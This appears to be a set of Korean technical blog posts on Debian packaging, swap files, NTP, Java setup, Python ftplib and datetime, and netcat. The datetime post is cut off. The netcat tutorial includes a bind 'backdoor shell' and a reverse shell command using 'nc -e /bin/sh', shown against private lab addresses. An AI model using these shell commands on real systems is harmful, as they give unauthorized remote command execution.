2019. 8. 16. 16:29

"Debian Package 만들기"



 

    개요

Debian Package란 *.deb 확장자를 가지는 파일로 윈도우의 *.msi 와 같은 프로그램 설치를 위한 파일 이다.

 

데비안 패키지(.deb) dpkg 라는 패키지 관리 도구에 의해 관리 유지 되며,

dpkg 데비안, 우분투, 칼리, 민트 기타 많은 배포판에서 사용되는 패키지 관리 도구이다.

 

.deb 파일은 데비안 패키지이지만 실제로는 표준 유닉스 아카이브(.ar) 파일일 뿐이다.

나중에 다루겠지만 apt역시 dpkg 사용해서 만든 고급 관리도구 이다.

 

 

 

    인스톨된 패키지 확인

현재 자신의 리눅스 장비에 설치된 패키지를 확인해 보자.

dpkg -l       # List installed packages
dpkg -s mypkg # Get status of specific package

apt list --installed # List installed packages
apt list # List *all* packages in available repos

               

 

 

 

    패키지 만들기(Create a package)



1. BASE 디렉토리 만들기

먼저 패키지를 새롭게 만들려면 BASE 디렉토리를 만든다.

디렉토리는 안에는 메타데이터 패키지 내용이 저장 된다.

  • <패키지 이름>_<버전>-<리비전>

Example: devpack_1.0.0-1

$ mkdir devpack_1.0.0-1

 

 


2. DEBIAN/control 파일 만들기

여기서 (DEBIAN) 디렉토리는 하나의 특수 파일로 무조건 있어야 하는 디렉토리 이다.

디렉토리는 안에는 control script 파일이 존재하며, 여기서 만드는 control 파일은 제어파일로

패키지에 대한 중요 정보를 제공하는 파일이다. (Debian control file fields)

Package: devpack
Version: 1.0.0
Maintainer: Your Name <dev@example.com>
Description: My test package
Homepage: http://devanix.tistory.com
Architecture: all

Section:non-free

Priority:optiona
Depends: git, tomcat(>=10.0.1)

  • Package

패키지 이름을 적는다.

소문자로만 이루어 져야하며, (_) 대신 (-) 를 사용한다.

  • Version

패키지의 버전을 명시함.

apt 서버(repository) 및 설치 서버의 내부 DB에서 관리 됨으로 잘 관리 해야함

  • Architecture

amd64/i386 으로 구분됨, 그냥 amd64를 쓰면 됨

  • Maintainer

자식의 이름(닉네임), 연락처 혹은 메일 기입

  • Description

aptcache 나 aptitude 로 패키지 search 를 했을때 Package 이름과 함께 설명으로 출력 되는 부분

  • Depends 필드는 생성할 패키지가 가지는 의존성을 기록한다.

없어도 되는 옵션 필드이지만 자주 사용된다.
기입한 패키지 버전 조건이 맞지 않으면 설치되지 않거나 설치 업데이트를 시도한다.

ex) mysqld ( >= 10.0.0.1) : mysql 패키지가 10.0.0.1 이상이여야 함

ex) tomcat ( = 6.0.0) : tomcat 패키지가 반드시 6.0.0 이여야 함

 

 

DEBIAN/control 파일까지만 만들면 최소한의 패키지 구성이 된다.

# Minimum required structure for a package

devpack-1.0.0/     # Directory
└── DEBIAN/       
# Directory
    └── control   
# File                   

 


3. DEBIAN/conffiles

conffiles 명시된 파일들은(절대경로) 패키지를 제거 (dpkg -r, --remove) 혹은 업데이트 경우

명시된 파일들을 삭제 하거나 덮어쓰지 못하게 합니다.

conffiles 명시된 파일은 dpkg -P, --purge 의해서만 삭제 됩니다.

 

Example :

/etc/myconf.ini
/usr/local/mypack/conf/config.ini
             

 


4. DEBIAN/script 구성

패키지 설치 (preinst), 설치 (postinst), 삭제 (prerm), 삭제 (postrm) 구동 되는
스크립트로 (스크립트 작동 방식 설명) script 이용해 다양하게 구성이 가능하다.


 

 

DEBIAN/preinst

패키지내 포함된 파일을 서버에 설치하기 전에 실행 되는 스크립트

스크립트 아규먼트로 install/upgrade를 받을 수 있다.

 

Example :

#!/bin/bash

############################################################
# preinst script main
############################################################

case "$1" in
install)
  #
최초 설치시 파일 설치 전 수행 되어야 할 내용을 bash 스크립트로 기술
  # EX)
기존 설정 백업, 가동중인 프로세스 down
  ;;

upgrade)
  #
업그레이드시 파일 설치 전 수행 되어야 할 내용을 bash 스크립트로 기술
  ;;

*)
  echo "Unrecognized preinst argument '$1'"

esac

                   

 

 

DEBIAN/postinst

패키지내 포함된 파일을 서버에 설치한 후에 실행 되는 스크립트

스크립트 아규먼트로 configure/upgrade를 받을 수 있다.

 

 

DEBIAN/prerm

패키지 삭제 전 실행 되는 스크립트

스크립트 아규먼트로 upgrade/remove를 받을 수 있다.

 

Example :

#!/bin/bash

############################################################
# prerm script main
############################################################

case "$1" in
upgrade)
  #
업그레이드 전에 해야할 작업 기술
  # EX)
패키지가 업그레이드 될때, 다음 버전 패키지에 의하여 호출 됨.
  ;;

remove)
  #
파일 삭제 전에 해야할 작업 기술
  # EX)
프로세스 중단 등, postinst 에서 했던 작업의 원복으로 생각하면 이해가 편함.
  ;;

*)
  echo "Unrecognized preinst argument '$1'"

esac

                   

 

 

DEBIAN/postrm

패키지 삭제 후 실행 되는 스크립트

스크립트 아규먼트로 remove/purge를 받을 수 있다.

remove - 설정 파일을 제외한 바이너리 파일 삭제.

purge - 설정 파일까지 모두 삭제.

remove 후 재설치를 하면 기존 설정 대로 재사용이 가능 하지만, purge 후 재설치 하면 설정을 다시해야한다.

 

Example :

#!/bin/bash

############################################################
# postrm script main
############################################################

case "$1" in
remove)
  #
파일 삭제 후에 해야할 작업 기술
  # EX) preinst
에서 했던 작업의 원복으로 생각하면 이해가 편함.
  ;;

purge)
  #
파일 삭제 후에 해야할 작업 기술
  # EX) preinst
에서 했던 작업의 원복으로 생각하면 이해가 편함.
  ;;

*)
  echo "Unrecognized preinst argument '$1'"

esac

                   

 


5. 패키지 내용 구성

BASE 디렉토리 밑으로 원하는 패키지 내용을 구성 한다.

일반적으로 패키지 구성으로 라이브러리, 문서, 환경파일, 실행 프로그램, systemd service등으로 구성 있다.

Example:

  • /usr/local/bin
  • /usr/share/man
  • /etc/
  • /usr/local/lib
  • /usr/local/include

 

 

 

 

    패키지 빌드(Build)

패키지 구성을 완료 하였다면 다음과 같이 빌드를 진행해 보자.

자세한 내용은 (dpkg-deb manpage) 참조 한다.

 

dpkg-deb -b ${패키지구성요소디렉토리명} ${패키지명}_{패키지버전}.deb

Example:

# ls -l

total 4

drwxr-xr-x 4 root root 4096 Aug 15 02:51 devpack_1.0.1

 

# dpkg-deb --build devpack_1.0.1 

dpkg-deb: building package `devpack' in `devpack_1.0.1.deb'.


or
 

# dpkg-deb --build devpack_1.0.1 devpack_1.0.1.deb

dpkg-deb: building package `devpack' in `devpack_1.0.1.deb'.

 

 

     



Posted by devanix
2018. 11. 2. 23:52

"Swap Memory"

 



 

리눅스의 메모리 부족할 경우 OOM(Out Of Memory) or Cannot allocate memory 문제가 발생 있습니다.

리눅스는 이런 메모리 부족을 대비 하여 일종에 보조 역활을 수행 하기 위한 방법으로 스왑(Swap)메모리를 사용합니다.

스왑(Swap) 물리적인 메모리가 완전히 활용되었을 운영 체제에서 사용하기 위한 가상 메모리 입니다.

이것은 디스크 파티션이나 파일 있습니다. (리눅스는 파티션, 파일 모두 파일로 인지 합니다)

 

 

일반적으로  리눅스 서버를 운영하게 되면 스왑 파티션을 기본적으로 사용하게 되지만

AWS 프리티어를 사용하기 위해 EC2 t2.micro 이용해 리눅스로 서비스를 경우

"Cannot allocate memory" 나타날 있다.  이런 다양한 케이스를 대비 하여 Swap 생성하는 방법을 알아 봅시다.

 

 

 

    스왑(Swap) 확인

 

[방법 1] swapon -s : 스왑이 잡혀 있지 않으면 아무런 결과가 출력되지 않음

 

# swapon -s

 

 

[방법 2] free -m : Swap : 항목에 모든 결과가 "0"으로 출력

# free -m

             total       used       free     shared    buffers     cached

Mem:           999        883        115          8          3         62

-/+ buffers/cache:        817        181

Swap:          0           0          0

 

 

    스왑(Swap) 설정

 

  1. 스왑메모리로 사용할 파일을 생성 합니다.

단계에서는 아무런 기능도 하지 않는 단순 디스크 공간을 할당 하는 파일을 생성 한다.

 

[방법 1] dd 이용해 파일 생성 (블럭 1M * 2048 = 2GB )

 

# dd if=/dev/zero of=/swapfile bs=1M count=2048

 

 

[방법 2] fallocate 이용해 파일 생성

 

# fallocate --length 2G /swapfile

 

 

[ 참고 ]

실제로 file명령을 통해 파일의형을 확인해 보면 단순 data 파일임을 있다.

# file  /swapfile

/swapfile: data

 

 

  1. 파일 사용 권한 설정

퍼미션 설정은 파일 소유자(root)로 제한 한다.

 

# chmod  600  /swapfile

 

# ls -al swapfile 

-rw------- 1 root root 2147483648 Oct 31 06:25 swapfile

 

  1. 스왑 파일 설정

단계에서는 단순 data 파일을 swap 파일로 초기화 한다.

# mkswap /swapfile 

Setting up swapspace version 1, size = 2097148 KiB

no label, UUID=79411347-40af-4680-a31e-657700076ce8

 

File명령을 통해 파일 Type 확인해 보면 swap file문구를 출력 한다.

# file /swapfile 

/swapfile: Linux/i386 swap file (new style) …

 

  1. 스왑 파일 장착

[ swap 활성화 ] : 스왑(swap)파일을 시스템이 사용할 있도록 swap 영역 으로 활성화 한다.

 

# swapon  /swapfile

 

 

[ swap 비활성화 ] : 반대로 swap 영역 비활성화

swap 크기를 변경 하고자 경우 swapoff 명령을 통해 비활성화 1 과정을 되풀이 한다.

 

# swapoff  /swapfile

 

 

[ 참고 ]

미션이 0600 아니면 아래와 같이 0600 제안하는 메시지를 출력 하며, swap 영역으로 활성화는 된다.

 

# swapon /swapfile

swapon: /swapfile: insecure permissions 0644, 0600 suggested.

 

 

 

    /etc/fstab 등록

시스템이 재부팅 되면왑영역이 비활성화 되어 있어 수동으로 swapon명령을 통해 스왑 영으로 활성화 해줘야

하는 번거로움이 있다. 재부팅시에 자동으로 스왑 영역을 활성화 되도록 /etc/fstab 등록 한다.

 

  1. 스왑 파일 UUID 확인

 

# blkid /swapfile 

/swapfile: UUID="79411347-40af-4680-a31e-657700076ce8" TYPE="swap"

 

 

  1. /etc/fstab 등록

해당 파일 하단에 아래와 같이 swap 설정 추가 한다.

 

UUID=79411347-40af-4680-a31e-657700076ce8 swap swap defaults 0 0

 

 

  • UUD – device /file name, UUID
  • swap – defines device mount point
  • swap – specifies the file-system type
  • defaults – describes the mount options
  • 0 – specifies the option to be used by the dump program
  • 0 – specifies the fsck command option

 

 

[ 참고 ]

/etc/fstab 등록되어 있다면  "swapon -a"옵션을 통해 자동 활성화 한다.

아래와 같이 swapoff 통해 스왑영역 비활성화 swapon -a 통해 자동 등록 되는 것을 있다.

 

# swapoff /swapfile 

# swapon -s

# swapon -a

# swapon -s

Filename Type Size Used Priority

/swapfile                              file    2097148 0 -1

 


Posted by devanix
2017. 6. 27. 19:25

NTP 시간 동기화

 

NTP(Network Time Protocol) 인터넷상의 시간을 정확하게 유지시켜 주기 위한 통신망 시간 규약이다

라디오나 원자시계에 맞추어 시간을 조정하며 밀리초 1/1000 단위까지 시간을 맞출  있다.

기본적으로, NTP 방식은 straum이라는 계층구조를 가지는데 straum 0  GPS 세슘 원자 시계등 시간을 구하는 장비를 말하며

straum 1 GPS  세슘 원자 시계등에서 직접 시간을 동기화하는 서버를 의미한다. strum 2 부터는 트리 구조를 형성하게 된다

보통 straum 2에서 동기화를 하고 동기화를 받은 straum 3 서버에서 나머지 같이 운영하는 서버들을 peer 해서 동기화를 

시키므로써 straum 1 서버들의 부하를 줄인다.

 

 

NTP 설정


 1. peer 정을 위한 ntp.conf 수정

시간 동기화를 받기 위한 설정내용이다기본적으로 입력되어있는 server 0.gentoo.pool.ntp.org등을

주석처리하 국내 (혹은 해당 사이트) NTP서버로 대체한다.

vi /etc/ntp.conf

# Pools for Gentoo users

server kr.pool.ntp.org

server time.bora.net

server time.kornet.net

 

#server 0.gentoo.pool.ntp.org

#server 1.gentoo.pool.ntp.org

#server 2.gentoo.pool.ntp.org

#server 3.gentoo.pool.ntp.org

 

 2. NTPD 스크립트 수정

기본값의 경우 ntpd 는 오프셋이 패닉 임계 값 (기본값 : 1000 초)을 초과하면 시스템 로그에 메시지와 함께 종료함으로,

ntpd script에 다음과 같이 NPTD_OPTS='-g'를 추가하여 저장 한다.

vi /etc/init.d/ntpd

#!/sbin/runscript

# Copyright 1999-2004 Gentoo Foundation

# Distributed under the terms of the GNU General Public License v2

$Header: /var/cvsroot/gentoo-x86/net-misc/ntp/files/ntpd.rc,v 1.23 2007/02/23 11:26:26 uberlord Exp $

 

NTPD_OPTS='-g'

 

depend() {

        need net

        use dns logger

        after ntp-client

}


3. NTP 데몬 재시작

Bash

Devanix ~ #  /etc/init.d/ntpd restart

 * Stopping ntpd ...                                                          [ ok ]

 * Starting ntpd ...                                                            [ ok ]


4. 프로세스 확인

-g 옵션이 붙어 있는것을 확인하자

Bash

Devanix ~ #  ps -ef | grep -i ntpd
root     15577     1  0 05:59 ?        00:00:00 /usr/sbin/ntpd -p /var/run/ntpd.pid -g


 5. 테스트

date 명령으로 임의날짜로 변경 하여 동기화 되는지 확인해 보자.

NTP 는 동기화하기까지 5~10분의 시간이 걸리니 여유를 갖도록 하자.

Bash

Devanix ~ #  date 11111111

2017. 11. 11. (토) 11:11:00 KST

 

/var/log/message를 통해서 정상적으로 동기화가 되면 다음과 같이 확인이 가능하다

Nov 11 11:19:28 ISIGN_HA1 ntpd[18613]: synchronized to 203.248.240.140, stratum 2

Mar 28 15:13:22 ISIGN_HA1 ntpd[18613]: time reset -19685166.831597 s

Mar 28 15:13:22 ISIGN_HA1 ntpd[18613]: kernel time sync status change 0001



Posted by devanix
2012. 3. 18. 19:59
<< add-apt-repository를 이용하여 /etc/apt-sources.list 저장소에 jdk 추가하기 >>
$ sudo add-apt-repository ppa:ferramroberto/java
$ sudo apt-get update (/etc/apt/sources.list 업데이트)

<< java 설치하기 >>
$ sudo apt-get install sun-java<version>-jdk

<< 설치된 모든 자바 목록 확인 >>
$ sudo update-alternatives --list java




< 여러 버전의 자바가 설치된 경우 우선순위 설정>
$ update-alternatives --config java 
 There are 3 alternatives which provide `java'.

 

  Selection    Alternative

-----------------------------------------------

*         1    /usr/lib/jvm/java-1.5.0-sun/jre/bin/java

 +        2    /usr/lib/jvm/java-6-sun/jre/bin/java

          3    /usr/lib/jvm/java-1.5.0-sun-1.5.0.19/bin/java

 

Press enter to keep the default[*], or type selection number: 1

 

 1~3 중 원하시는 버전의 번호를 누르면 설정 됩니다. 
 


< apt-get 설치시 기본적 심볼릭 링크 >
/usr/bin/java ==> /etc/alternatives/java ==> /usr/lib/jvm/java-<version>-sun/jre/bin/java (실제 설치된 자바)

< 자바 환경설정 >
vi ~/.profile
 ... <중략> ....

### JAVA Settings ###
export JAVA_HOME = /usr/lib/jvm/java-<version>-sun/
export PATH=$PATH:$JAVA_HOME/bin

$ sudo source ~/.profile 




'Linux' 카테고리의 다른 글

리눅스 디렉토리 구조  (0) 2010.07.29
[centOS5.5]bonding 설정  (0) 2010.06.11
서버 데몬 유형  (1) 2010.05.29
[CentOS]Consol Network 설정  (0) 2010.05.26
Job 스케줄링  (0) 2010.05.18
Posted by devanix
2011. 12. 8. 10:29

Ÿ FTP(File Transfer Protocol) 프로토콜 클라이언트는 새로 구현할 필요가 없다.

ftplib 모듈이 FTP클래스를 지원하며 이것은 클라이언트 측의 FTP 프로토콜을 구현한다.

이 클래스를 다른 FTP 사이트의 미러링과 같은 자동화된 FTP 작업을 수행하기 위해 사용할 수 있다.

 

FTP는 기본 포트 21/20을 사용하는 이중 채널 프로토콜이다. 서버의 21번 포트는 제어 연결로서

제어 정보를 전달하는 데 사용되고, 20번 포트는 데이터를 교환하는 데 사용된다.

ftplib는 기본적으로 패시브(Passive)모드로 동작한다. 즉, 서버가 데이터 포트를 먼저 열고,

데이터 포트 정보를 제어 연결 포트를 통해 전달하면 클라이언트가 포트로 접속하는 방식이다.

(※ FTP 규약에 관한 자세한 정보는 인터넷 RFC 959를 참조.)

 

[ 객체 생성 ]

class ftplib.FTP(host[, user[, passwd[, acct]]]))

 

ftp 객체를 생성한다.

host가 주어지면 서버로 연결(connect(host))하고,

부가적으로 user, passwd 정보가 주어지면 로그인(login(user, passwd, acct))이 된다.

>>> from ftplib import FTP

>>> ftp = FTP("ftp1.at.proftpd.org") # connect to host, default port

 

[ 접속 관련 메서드 ]

FTP.connect(host[, port])

 

주어진 (host, port)로 연결.

>>> from ftplib import FTP

>>> ftp = FTP()

>>> ftp.connect("ftp1.at.proftpd.org")

'220 FTP Server ready.'

 

FTP.login([user[, passwd[, acct]]])

 

로그인함 (아무 인수도 주어지지 않으면 'anonymous'로 로그인)

>>> ftp.login(user, password)

 

FTP.close()

 

연결 종료

>>> ftp.close()

 

[ 파일 목록을 얻는 메서드 ]

FTP.dir([argument[, ...]])

 

"LIST"명령으로 파일 목록을 얻는다.

선택적인 인수 argument는 파일 목록을 표시할 디렉터리를 지정한다. (기본값 - 현재 디렉터리)

>>> from ftplib import FTP

>>> with FTP("ftp1.at.proftpd.org") as ftp:

... ftp.login()

... ftp.dir()

...

'230 Anonymous login ok, restrictions apply.'

dr-xr-xr-x 9 ftp ftp 154 May 6 10:43 .

dr-xr-xr-x 9 ftp ftp 154 May 6 10:43 ..

dr-xr-xr-x 5 ftp ftp 4096 May 6 10:43 CentOS

dr-xr-xr-x 3 ftp ftp 18 Jul 10 2008 Fedora

...

 

FTP.nlst([argument[, ...]])

 

"NLST" 명령으로 파일 목록을 얻는다.

선택적인 인수 argument는 파일 목록을 표시할 디렉터리를 지정한다. (기본값 - 현재 디렉터리)

>>> ftp.nlst()

['.', '..', 'centos', 'fedora', 'CentOS', 'Fedora', 'ProFTPD', 'grml', 'linux-kernel',

'OpenOffice.org', 'Knoppix', 'LibreOffice']

 

[ 파일 다운로드/저장 메서드 ]

FTP.retrlines(command[, callback])

 

ASCII 모드로 파일을 받는다.

텍스트 파일을 다운로드 받을 때 command는 "RETR 파일 이름"이 된다.

파일 목록을 받을 때 사용한다면 command는 "LIST"가 된다.

callback은 서버로부터 전송되는 블록을 저장할 함수로 기본값은 sys.stdout.write이다.

>>> ftp.retrlines('LIST') # 화면에 파일 목록 표시

dr-xr-xr-x 10 ftp ftp 4096 Aug 12 13:34 .

dr-xr-xr-x 10 ftp ftp 4096 Aug 12 13:34 ..

dr-xr-xr-x 5 ftp ftp 4096 Sep 14 15:23 CentOS

dr-xr-xr-x 3 ftp ftp 18 Jul 10 2008 Fedora

...

'226 Transfer complete'

 

>>> ftp.cwd('./ProFTPD') # 디렉터리 변경

>>> ftp.retrlines('RETR README.MIRRORS') # 화면에 파일 내용 표시

This is the main distribution site for ProFTPD. Rather than downloading

...

'226 Transfer complete'

 

# 로컬에 저장

>>> ftp.retrlines('RETR README.MIRRORS', open('c:\\readme.txt', 'w').write)

'226 Transfer complete'

 

FTP.retrbinary(command, callback[, maxblocksize[, rest]])

 

이진 파일을 받을 때 사용한다.

command는 "RETR 파일이름"이 된다.

callback은 서버로부터 전송되는 블록을 저장할 함수이다.

>>> ftp.retrbinary('RETR pybbs.tar', open('pybbs.tar', 'wb').write)

 

FTP.storlines(command, file)

 

ASCII 모드로 파일을 서버에 저장한다.

command는 "STOR 파일이름"이며

file은 서버로 데이터를 보내는 데 사용될 readline() 메서드를 제공하는 파일 객체이다.

>>> ftp.storlines('STOR xpath.py', open('xpath.py', 'r'))

 

FTP.storbinary(command, file[, blocksize])

 

이진 모드로 파일을 서버에 저장한다.

command는 "STOR 파일이름"이며

file은 서버로 데이터를 보내는 데 사용될 read() 메서드를 제공하는 파일 객체이다.

>>> ftp.storbinary('STOR test.tgz', open('test.tgz', 'rb'))

 

FTP.abort()

 

파일 전송을 중지한다.

 

 

[파일 관련 메서드]

 

[ 메서드 ]

[ 설명]

size(filename)

서버에 filename의 크기를 요구.(성공-정수 크기, 실패-None)

rename(fromname, toname)

서버에 있는 파일 이름 변경

delete(filename)

서버의 파일을 삭제

 

[디렉터리 관련 메서드]

 

[ 메서드 ]

[ 설명]

pwd()

서버의 현재 디렉터리를 얻는다

cwd(pathname)

서버의 현재 디렉터리를 변경

mkd(pathname)

서버에 디렉터리 생성

rmd(dirname)

서버에 디렉터리 제거

 

[기타 메서드]

 

[ 메서드 ]

[ 설명]

set_pasv(boolean)

만일 boolean이 참이면 passive 모드가 설정.

sendcmd(command)

임의의 단순한 명령을 서버로 전송하고 응답 문자열을 받는다.

voidcmd(command)

임의의 단순한 명령을 서버로 전송하고 응답 코드를 처리한다.

응답 코드가 200-299 영역인 경우에는 리턴 값이 없으며

그렇지 않으면 예외가 발생한다.

 

'Programming > Python' 카테고리의 다른 글

파이썬 – 날짜시간(datetime) 모듈  (0) 2011.11.26
파이썬 – 시간(time) 모듈  (1) 2011.11.26
파이썬 – os 모듈  (2) 2011.11.22
파이썬 – sys 모듈  (0) 2011.11.21
파이썬 – os.glob 모듈  (0) 2011.11.20
Posted by devanix
2011. 12. 6. 00:46

넷캣(Netcat)은 TCP나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를

읽고 쓰는 간단한 유틸리티 프로그램이다. 일반적으로는 UNIX의 cat과 비슷한

사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 network connection

에 읽거나 쓴다. 이것은 스크립트와 병용하여 network에 대한 debugging,

testing tool로써 매우 편리하지만 반면 해킹에도 이용범위가 넓다.

 

 

connect to somewhere:

listen for inbound:

nc [-options] hostname port[s] [ports] ...

nc -l -p port [-options] [hostname] [port]

[ 옵션 ]

[ 설명 ]

-c shell commands

as `-e'; use /bin/sh to exec [dangerous!!]

-e

program to exec after connect [dangerous!!]

-b

allow broadcasts

-g

source-routing hop point[s], up to 8

-G

source-routing pointer: 4, 8, 12, ...

-h

this cruft

-i secs

delay interval for lines sent, ports scanned

-k

set keepalive option on socket

-l

listen mode, for inbound connects

-n

numeric-only IP addresses, no DNS

-o file

hex dump of traffic

-p port

local port number

-r

randomize local and remote ports

-q secs

quit after EOF on stdin and delay of secs

-s addr

local source address

-T tos

set Type Of Service

-t

answer TELNET negotiation

-u

UDP mode

-v

verbose [use twice to be more verbose]

-w secs

timeout for connects and final net reads

-z

zero-I/O mode [used for scanning]

 

 

연결 수립

Ÿ 넷캣은 IP주소의 임의의 포트로 연결할 수 있다.

 

# nc 10.0.2.100 22

SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu6

 

 

서비스 배너 수집

Ÿ 다양한 서비스를 대상으로 그대로 사용할 수 있다.

하지만 HTTP 같은 서비스의 배너를 알아내려면 우선 HTTP명령을 전송해야 한다.

 

# echo -e "HEAD / HTTP/1.0\n\n" | nc httpd.apache.org 80

HTTP/1.1 200 OK

Date: Mon, 05 Dec 2011 14:54:15 GMT

Server: Apache/2.3.15-dev (Unix) mod_ssl/2.3.15-dev OpenSSL/1.0.0c

Last-Modified: Mon, 05 Dec 2011 14:10:25 GMT

ETag: "11163fe-8c8f-4b358e1491640"

Accept-Ranges: bytes

Content-Length: 35983

Vary: Accept-Encoding

Cache-Control: max-age=3600

Expires: Mon, 05 Dec 2011 15:54:15 GMT

Connection: close

Content-Type: text/html; charset=utf-8

위 결과를 보면 웹 서버 소프트웨어와 운영체제를 알 수 있다.

 

간단한 서버

Ÿ 포트 1234에서 리슨(listen)하는 간단한 채팅 서버를 만들어 보자.

 

서버

클라이언트

# nc -l -p 1234

hi

hello netcat!!!

# telnet localhost 1234

Trying ::1...

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

hi

hello netcat!!!

클라이언트에서 입력한 모든 문자가 서버에 출력된다.

간단한 채팅 서버를 만든 셈이다.

 

파일 전송

Ÿ 클라이언트에서 넷캣 리스너로 파일을 전송할 수도 있고 역방향으로 파일을 전송할 수도 있다.

 

서버

클라이언트

# nc -l -p 1234 > pstest.out

# ps auxf | nc -w3 10.0.2.15 1234

or

# nc -w3 10.0.2.15 < filename

클라이언트에서 명령의 결과를 바로 서버 측으로 전송하거나 파일을 전송할 수 있다.

 

포트 스캐닝

@ 상세 출력(-v),

@ DNS 이름 주소 변환 실시 안 함(-n),

@ 데이터 전송 안 함(-z),

@ 최대 1초의 연결 리슨 시간(-w 1)을 옵션으로

TCP 프로토콜을 사용해서 1-1023 사이의 포트를 스캔

 

# nc -n -v -z -w 1 10.0.2.100 1-1023

(UNKNOWN) [10.0.2.100] 80 (www) open

(UNKNOWN) [10.0.2.100] 22 (ssh) open

80, 22번 포트가 열려있음을 확인할 수 있다.

넷캣이 포트 스캐닝을 지원하긴 하지만 포트 스캐닝을 실시할 때는 엔맵(nmap)을 권장.

 

백도어 쉘

@ 특정 포트(-p)에서 리슨하면서(-l)

@ 연결 수립 시 특정 쉘을 실행하도록(-e) 옵션을 지정하여

백도어 쉘을 실행 할 수 있다.

 

서버

클라이언트

# nc -e /bin/sh -l -p 1234

# telnet 10.0.2.15 1234

Trying ::1...

Trying 10.0.2.15...

Connected to localhost.

Escape character is '^]'.

uname -a;

Linux bt 2.6.38 #1 SMP...<etc>

ls -al;

...<etc>

연결이 수립되면 서버에 임의의 리눅스 명령어를 입력할 수 있다.

명령 뒤에 ";"(세미콜론)문자를 덧붙여야 한다. (사용하는 클라이언트 마다 다를 수 있음)

위와 같이 서버에서 실행된 명령의 결과가 클라이언트 화면에 출력된다.

넷캣 리스너를 루트 권한으로 실행하면 서버에서 임의의 모든 작업을 수행할 수 있다.

누구나 해당 포트로 연결해서 넷캣 백도어를 이용할 수 있다는 점과, 넷캣 연결은 기본적으로

암호화되지 않는다는 사실에 주의해야 한다.

 

리버스 쉘

Ÿ 이 방법은 방금 위에서 살펴본 백도어 쉘과는 반대 케이스다.

이전 예에서는 서버가 쉘을 실행했지만 리버스 쉘에서는 원격 호스트가 서버로 연결하면서

쉘을 실행한다.

 

서버

클라이언트

# nc -n -v -l -p 1234

listening on [any] 1234 ...

connect to [10.0.2.100]

from (UNKNOWN) [10.0.2.100] 36725

ip addr show

1: lo: <LOOPBACK,UP,LOWER_UP>

...<etc>...

2: eth1:

<BROADCAST,...>...<etc>...

nc -e /bin/sh 10.0.2.100 1234

서버에서 "connect to [10.0.2.100] from (UNKNOWN)...<etc>"와 같은 메시지를 확인할 수 있다면

리버스 쉘이 성공적으로 연결된 것이다.

서버에서 임의의 명령을 입력하면 원격 머신에서 실행된다.

이처럼 원격 머신의 운영체제에서 지원하는 임의의 명령을 실행할 수 있다.

Posted by devanix
2011. 11. 26. 21:04

[ 날짜시간 모듈에 관련 클래스 ]

 

[ 클래스 ]

[ 내용 ]

class datetime.date

일반적으로 사용되는 그레고리안 달력의 년,월,일을 나타냄

class datetime.time

시간을 시,분,초,마이크로 초,시간대로 나타냅니다.

class datetime.datetime

date클래스와 time클래스의 조합으로

년,월,일,시,분,초,마이크로 초, 시간대 정보를 나타냅니다.

class datetime.timedelta

두 날짜 혹은 시간 사이의 기간을 표현합니다.

 

 

[ date 클래스 ]

 

datetime.date(year, month, day)

일반적으로 사용되는 년, 월, 일로 표기되는 현재 그레고리안 달력의 날짜를 표현합니다.

숫자로 년, 월, 일을 입력 받아서 date 객체를 생성합니다.

만약 입력된 인자가 아래의 조건을 따르지 않는 경우, ValueError가 발생합니다.

Ÿ datetime.MINYEAR(1) <= year <= datetime.MAXYEAR(9999)

Ÿ 1 <= month <= 12

Ÿ 1 <= day <= 해당 월의 날짜

┗[ date 객체를 반환하는 클래스 메서드 ]┓

클래스 메서드

내용

date.fromtimestamp(timestamp)

타임스탬프 값을 인자로 받아서 date 객체를 반환

date.fromordinal(ordinal)

1년1월1일 이후로 누적된 날짜로부터 date 객체를 반환

date.today()

현재 시스템의 오늘 날짜 date 객체를 반환

┗┓

xample - date 클래스 생성자와 클래스 메서드의 사용 예:

 

[ date 객체 속성 ]

속성

내용

date.year

년(읽기 전용)

date.month

월(읽기 전용)

date.day

일(읽기 전용)

date.max

date 객체의 최대값(9999년 12월 31일)

date.min

date 객체의 최소값(1년 1월 1일)

xample - 각 속성에 대한 예:

 

[ date 객체를 이용하여 다른 값/형식으로 변환하는 메서드 ]

메서드

내용

date.replace(year, month, day)

입력된 인자로 변경된 date 객체를 반환.

원본 객체는 변경되지 않습니다.

date.timetuple()

date 객체의 값을 time.struct_time 시퀀스 객체에 할당.

해당되는 정보가 없는 시,분,초는 '0'으로 초기화 됩니다.

date.toordinal()

1년1월1일 이후로 date객체까지 누적된 날짜를 반환

date.weekday()

요일을 정수로 변환하여 반환 (예:월요일=0, 일요일=6)

(: date(2011, 12, 24).weekday() == 5 )

date.isoweekday()

date.weekday()와 동일하나 월요일=1 ~ 일요일=7로 나타냄.

(: date(2011, 12, 24).isoweekday() == 6 )

xample - 변환 메서드 사용 예:

# date.replace()메서드 호출시, 변경하려는 속성만 명시적으로 전달 변경

 

# date 객체의 값을 바탕으로 다른 형태의 객체를 반환하는 예

 

[ 그 외 date 객체의 출력 형태를 변경하는 메서드 ]

메서드

내용

date.isoformat()

date 객체의 정보를 'YYYY-MM-DD' 형태의 문자열로 반환

date.ctime()

date 객체의 정보를 'Sun Mar 15 00:00:00 2009' 형태의 문자열로

반환합니다. 시,분,초에 대한 정보는 '0'으로 초기화 됩니다.

date.strftime(format)

지정된 포맷에 맞춰 date 객체의 정보를 문자열로 반환합니다.

xample - 출력 형태 변경 메서드 예:

 

 

 

[ time 클래스 ]

 

class datetime.time(hour[, minute[, second[, microsecond[, tzinfo]]]])

time 클래스는 시, 분, 초와 같은 시간을 표현 합니다.

숫자로 시, 분, 초 마이크로 초, 시간대 정보(Time Zone)를 입력 받아서 time 객체를 생성.

만약 입력된 인자가 아래의 조건을 따르지 않는 경우, ValueError가 발생합니다.

Ÿ 0 <= hour < 24

Ÿ 0 <= minute < 60

Ÿ 0 <= second < 60

Ÿ 0 <= microsecond < 1000000

xample - time 객체 생성 예:

 

[ time 객체 속성 ]

속성

내용

time.hour

시(0~23, 읽기 전용)

time.minute

분(0~59, 읽기 전용)

time.second

초(0~59, 읽기 전용)

time.microsecond

마이크로초(0~999999, 읽기 전용)

time.min

time 객체가 표현할 수 있는 최소값을 나타냅니다.

(time(0, 0, 0, 0))

time.max

time 객체가 표현할 수 있는 최대값을 나타냅니다.

(time(23, 59, 59, 999999))

 

[ time 클래스 지원 메서드 ]

메서드

내용

